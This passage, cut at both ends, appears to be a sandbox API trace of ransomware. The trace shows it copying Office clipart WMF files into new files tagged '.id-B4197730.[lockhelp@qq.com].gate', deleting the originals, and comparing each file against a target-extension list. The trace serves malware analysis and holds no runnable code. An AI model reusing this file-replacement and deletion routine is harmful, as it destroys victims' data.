lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x920, lpOverlapped=0x0) returned 1 [0294.789] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.789] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.789] SetEndOfFile (hFile=0x538) returned 1 [0294.789] CloseHandle (hObject=0x538) returned 1 [0294.789] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.789] SetEndOfFile (hFile=0x514) returned 1 [0294.791] CloseHandle (hObject=0x514) returned 1 [0294.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0294.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.792] lstrlenW (lpString=".doc") returned 4 [0294.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.792] lstrlenW (lpString=".docx") returned 5 [0294.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.792] lstrlenW (lpString=".pdf") returned 4 [0294.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString=".xls") returned 4 [0294.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.793] lstrlenW (lpString=".xlsx") returned 5 [0294.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.793] lstrlenW (lpString=".ppt") returned 4 [0294.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.793] lstrlenW (lpString=".zip") returned 4 [0294.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.793] lstrlenW (lpString=".rar") returned 4 [0294.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString=".bz2") returned 4 [0294.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString=".7z") returned 3 [0294.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.793] lstrlenW (lpString=".dbf") returned 4 [0294.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.793] lstrlenW (lpString=".1cd") returned 4 [0294.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0294.793] lstrlenW (lpString=".jpg") returned 4 [0294.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.794] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2700) returned 1 [0294.794] CloseHandle (hObject=0x514) returned 1 [0294.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0294.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0294.794] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.794] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0294.795] GetLastError () returned 0x0 [0294.795] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xa8c, lpOverlapped=0x0) returned 1 [0294.881] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xa90, lpOverlapped=0x0) returned 1 [0294.881] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.881] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.882] SetEndOfFile (hFile=0x538) returned 1 [0295.075] CloseHandle (hObject=0x538) returned 1 [0295.075] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.075] SetEndOfFile (hFile=0x514) returned 1 [0295.077] CloseHandle (hObject=0x514) returned 1 [0295.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString=".doc") returned 4 [0295.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString=".docx") returned 5 [0295.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.078] lstrlenW (lpString=".pdf") returned 4 [0295.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString=".xls") returned 4 [0295.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.078] lstrlenW (lpString=".xlsx") returned 5 [0295.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.078] lstrlenW (lpString=".ppt") returned 4 [0295.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString=".zip") returned 4 [0295.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.078] lstrlenW (lpString=".rar") returned 4 [0295.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString=".bz2") returned 4 [0295.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString=".7z") returned 3 [0295.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString=".dbf") returned 4 [0295.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString=".1cd") returned 4 [0295.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0295.078] lstrlenW (lpString=".jpg") returned 4 [0295.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.079] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=6780) returned 1 [0295.079] CloseHandle (hObject=0x514) returned 1 [0295.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0295.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0295.080] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.080] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0295.080] GetLastError () returned 0x0 [0295.080] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0295.142] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1a80, lpOverlapped=0x0) returned 1 [0295.143] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.143] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.143] SetEndOfFile (hFile=0x538) returned 1 [0295.144] CloseHandle (hObject=0x538) returned 1 [0295.144] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.144] SetEndOfFile (hFile=0x514) returned 1 [0295.146] CloseHandle (hObject=0x514) returned 1 [0295.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString=".doc") returned 4 [0295.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".docx") returned 5 [0295.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.147] lstrlenW (lpString=".pdf") returned 4 [0295.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".xls") returned 4 [0295.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.147] lstrlenW (lpString=".xlsx") returned 5 [0295.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.147] lstrlenW (lpString=".ppt") returned 4 [0295.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString=".zip") returned 4 [0295.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.147] lstrlenW (lpString=".rar") returned 4 [0295.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".bz2") returned 4 [0295.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString=".7z") returned 3 [0295.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString=".dbf") returned 4 [0295.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString=".1cd") returned 4 [0295.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0295.147] lstrlenW (lpString=".jpg") returned 4 [0295.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.148] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2280) returned 1 [0295.148] CloseHandle (hObject=0x514) returned 1 [0295.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0295.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0295.149] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.149] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0295.149] GetLastError () returned 0x0 [0295.149] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x8e8, lpOverlapped=0x0) returned 1 [0295.210] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x8f0, lpOverlapped=0x0) returned 1 [0295.213] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.213] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.213] SetEndOfFile (hFile=0x538) returned 1 [0295.213] CloseHandle (hObject=0x538) returned 1 [0295.213] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.213] SetEndOfFile (hFile=0x514) returned 1 [0295.215] CloseHandle (hObject=0x514) returned 1 [0295.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0295.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.216] lstrlenW (lpString=".doc") returned 4 [0295.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.216] lstrlenW (lpString=".docx") returned 5 [0295.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.216] lstrlenW (lpString=".pdf") returned 4 [0295.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.216] lstrlenW (lpString=".xls") returned 4 [0295.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.216] lstrlenW (lpString=".xlsx") returned 5 [0295.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.216] lstrlenW (lpString=".ppt") returned 4 [0295.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.217] lstrlenW (lpString=".zip") returned 4 [0295.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.217] lstrlenW (lpString=".rar") returned 4 [0295.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.217] lstrlenW (lpString=".bz2") returned 4 [0295.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.217] lstrlenW (lpString=".7z") returned 3 [0295.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.217] lstrlenW (lpString=".dbf") returned 4 [0295.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.217] lstrlenW (lpString=".1cd") returned 4 [0295.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0295.217] lstrlenW (lpString=".jpg") returned 4 [0295.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.218] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=17850) returned 1 [0295.218] CloseHandle (hObject=0x514) returned 1 [0295.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0295.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0295.219] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.219] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0295.219] GetLastError () returned 0x0 [0295.219] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x45ba, lpOverlapped=0x0) returned 1 [0295.311] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x45c0, lpOverlapped=0x0) returned 1 [0295.312] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.312] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.312] SetEndOfFile (hFile=0x538) returned 1 [0295.780] CloseHandle (hObject=0x538) returned 1 [0295.780] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.780] SetEndOfFile (hFile=0x514) returned 1 [0295.790] CloseHandle (hObject=0x514) returned 1 [0295.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0295.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.791] lstrlenW (lpString=".doc") returned 4 [0295.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.791] lstrlenW (lpString=".docx") returned 5 [0295.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.791] lstrlenW (lpString=".pdf") returned 4 [0295.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.791] lstrlenW (lpString=".xls") returned 4 [0295.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.791] lstrlenW (lpString=".xlsx") returned 5 [0295.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.791] lstrlenW (lpString=".ppt") returned 4 [0295.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.792] lstrlenW (lpString=".zip") returned 4 [0295.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.792] lstrlenW (lpString=".rar") returned 4 [0295.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.792] lstrlenW (lpString=".bz2") returned 4 [0295.792] lstrcmpiW 